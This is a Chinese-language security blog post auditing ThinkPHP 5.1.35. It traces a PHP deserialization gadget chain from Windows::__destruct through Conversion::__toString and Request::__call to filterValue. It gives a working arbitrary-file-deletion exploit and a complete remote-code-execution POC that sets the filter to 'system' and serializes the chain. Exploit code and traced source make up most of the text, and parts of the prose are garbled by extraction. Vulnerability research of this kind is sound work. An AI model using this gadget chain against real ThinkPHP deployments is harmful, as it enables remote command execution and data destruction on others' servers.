发表于 2020-01-11| 更新于 2020-06-07|代码审计
字数总计:2.6k|阅读时长: 10 分钟
环境搭建
ThinkPHP 自版本 5 以后采用 composer 安装模块,这里附上安装指令
composer create-project --prefer-dist topthink/think=5.1.35 tp5.1.35
由于反序列化需要触发点,官方框架里是没有现成的反序列化触发点,我们这里给他构造一个
设置完毕后在 TP 根目录下启动服务即可
php think run
任意文件删除漏洞
由于之前看到过有人过反序列化漏洞本质上还是算是变量覆盖漏洞,反序列化基本的起点、跳板、终点这里就不多讲了
相关的魔术方法概念以及作用请参考:
https://www.jb51.net/article/96167.htm
反序列化的起点通常是__destruct
、__tostring
或者__wakeup
这里先全局找一下下__destruct
函数,这里推荐使用 PHPStorm,全局寻找函数很方便
这里得一个个看,幸好四个还不是特别多,最终可以找到一个符合的__destruct
函数
thinkphp/library/think/process/pipes/Windows.php` 中的 `Windows` 类中的`__destruct
public function __destruct()
{
$this->close();
$this->removeFiles();
}
这里进入 removeFiles
函数瞅瞅
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
这里 $this->files
可控,所以这算是一个任意文件删除漏洞了
EXP 可以这么写:
<?php
namespace think\process\pipes;
class Pipes{}
class Windows extends Pipes
{
private $files = ['/Users/a2u13/Desktop/CodeHack/tp5.1.35/TEST'];
}
echo base64_encode(serialize(new Windows()));
这里新建了一个文件名叫 TEST,把 EXP 的运行结果 POST 提交过去,就可以删掉这个文件了
反序列化 RCE 漏洞
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
其中 file_exist 函数中传入参数为字符串形式,这里考虑可以使用__tostring
来作为跳板使用
所以全局搜一下下__tostring
函数
在 \think\model\concern\Conversion 下找到一个__tostring
public function __toString()
{
return $this->toJson();
}
跟进 toJson 函数
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}
继续跟进 toArray 函数
这里需要寻找到一个可控变量来引用其方法,这样的话才可以触发其他类的__call
方法(因为在其他类中这个方法不可访问或者无权访问,此时会调用__call
进行错误监视处理
这里代码虽然有点多,但大致可以分成四块来看,以每个 foreach 循环来划分
其中第一二个 foreach 循环中不存在变量 -> 方法引用
在三个块中可以看到存在诸多变量 -> 方法引用
$val->visible($this->visible[$key]);
$val->hidden($this->hidden[$key]);
$item[$key] = $val->toArray();
···
···
$item[$key] = $this->getAttr($key);
$relation = $this->getAttr($key);
$relation->visible($name);
寻找到一个一个变量和参数均可控的方法
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
跟进 getRelation
方法
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}
结合 (!$relation)
这里直接 return
即可
然后进入 getAttr
函数当中
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value = null;
}
这里又有一个 getData
方法
进去看看
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
这里 $relation
的值为 $this->data[$name]
($data
这里可以自己__construct
加上去)
由于 getAttr
函数位于 Attribute
类中,这里需要找到一个类同时继承了 Attribute
类和 Conversion
类
(不得不说 PHPStorm 是真的好用
那么现在的目标是满足以下条件的类,要求满足:
- 不存在 visible 方法
- 存在
__call
方法可利用
public __call ( string $name , array $arguments ) : mixed
__call
方法仅 $arguments
数组参数可以被控制,$name
是不可控的
这里全局找一下下__call
方法,在__call
方法中虽然有点点多……
经过我瞎乱点,终于点到了一个使用了 args 参数的__call
方法
位于 \think\Request 中的__call
方法
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}
其中 $this->hook
可控
但如果直接插入的话。面临着一个问题,那就是前面的 array_unshift ($args
, $this
); 会把
t
h
i
s
插
入
到
‘
this 插入到 `
this插入到‘args` 的最开头
这里比如说要构造,由于 array_unshift 的作用,导致如下结果(应该是这样吧,有错误表哥请指出):
$hook = ['visible'=>'任意命令执行方法'];
call_user_func_array("任意命令方法",[$obj,"方法的参数"]);
这种情况下需要寻找 TP5 内置的过滤器进行过滤,使得可以把回调函数中混进来的莫名其妙的东西去除掉
这里全局搜一下 filter 函数找到个 filterValue 函数
但这里 $value
为方法内参数不可控,得寻找使用了 filterValue 函数的地方
但这里参数都不可控,继续寻找调用了 input 函数的点
全局找一下下调用了 input 函数的点
这里找到个 parm 函数,但这里参数都不可控,继续寻找调用了 parm 方法的点
继续找使用了 parm 函数的点
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
...
...
/**
* 当前是否Ajax请求
* @access public
* @param bool $ajax true 获取原始ajax请求
* @return bool
*/
public function isAjax($ajax = false)
{
$value = $this->server('HTTP_X_REQUESTED_WITH');
$result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) {
return $result;
}
$result = $this->param($this->config['var_ajax']) ? true : $result;
$this->mergeParam = false;
return $result;
}
在 isAjax 函数中,可以看到引用了 parm 函数,而且此时 t h i s − > c o n f i g 是 可 控 的 , 那 么 就 意 味 着 p a r m 函 数 中 的 n a m e 值 可 控 , 也 就 意 味 着 i n p u t 函 数 的 ‘ this->config 是可控的,那么就意味着 parm 函数中的 name 值可控,也就意味着 input 函数的 ` this−>config是可控的,那么就意味着parm函数中的name值可控,也就意味着input函数的‘name` 参数是可控的
此时继续往上,也就意味着 filterValue 函数的 $name 参数可控
继续回到 parm 函数当中
通过 $_GET
来赋值给 $this->param
, 此时又回到了 input 函数
跟进 getData 函数
这里 $data
直接等于 $data[$val]
了
而这里 $filter
通过 getFilter 来获得,进 getFilter 瞅瞅
这里的 $filter
来自于 $this->filter
,我们需要定义 this->filter
为函数名。
回到 input 函数
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
if (version_compare(PHP_VERSION, '7.1.0', '<')) {
// 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
$this->arrayReset($data);
}
} else {
$this->filterValue($data, $name, $filter);
}
这里 $data
为数组,此时使用了 array_walk_recursive
函数,函数方法如下:
大致意思是对 $data
进行 filterValue 函数过滤,函数的参数为 $filter
看一下下 filterValue
函数
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}
return $value;
}
(我已经有点晕了・・・・・
这里分析一下 filterValue 的参数来源:
$data
来自于 getData 函数
filter
来自于 getFilter 函数
$data = $this->getData($data, $name);
$filter = $this->getFilter($filter, $default);
上面分析可知,在 input 函数中
$data
直接等于 $data[$val]
了
$filter` 需要自己定义 `$this->filter
继续回到 parm 函数当中
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
...
...
return $this->input($this->param, $name, $default, $filter);
而根据上面的分析
通过 $_GET
来赋值给 $this->param
,$filter
还是为 input 的 filter
所以最后可知 filterValue
的参数值如下:
value
为$_GET
请求的键key
为$_GET
请求的值filter
为 input 当中的filter
POC 分析编写
首先要在 Model
类中,对 append
和 data
进行赋值
且要满足 append
为数组,满足条件,上面已经分析过了,$key
要满足不在 $relation
当中,这里随便起个名字就行,比如 xmhgg
然后需要进入 getAttr
和 getData
当中,根据上面分析,$relation
的值为 $this->data[$name]
,这里设置 $data
的键值为 xmhgg
即可,$name
需要根据后面的__call
方法当中的 hook
情况进行赋值
所以这一步本质上是为了能够跳转到__call
当中,其中 append
当中的值是为了充当__call
的 $args
$data
当中的值是作为对象能够访问他不存在的 visible
方法从而触发__call
,而 visible
方法在 Request
类中
在 Request
中的__call
方法中
public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
这里 hook
的键设置为 visible
,其中 $args
为刚才的 $data
当中的值
这里又开始 filter
了,害,我太难了
$filter
根据
这里吧 $config
照抄过来
$filter
直接写进去即可
而 config['var_ajax']
的值通过置为空,然后通过 $_GET
传入即可
而对于 hook
函数的值,我们使用 isAjax
,然后依次回到 parm
函数、input
函数等等
最后回到
中执行了命令
所以 POC 思路如上,编写:
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["xmhgg"=>["ls",""]];
$this->data = ["xmhgg"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter;
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
文章作者: A2u13
文章链接: https://a2u13.com/2020/01/11/ThinkPHP5-1-x 反序列化漏洞分析 /
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 A2u13’s Blog!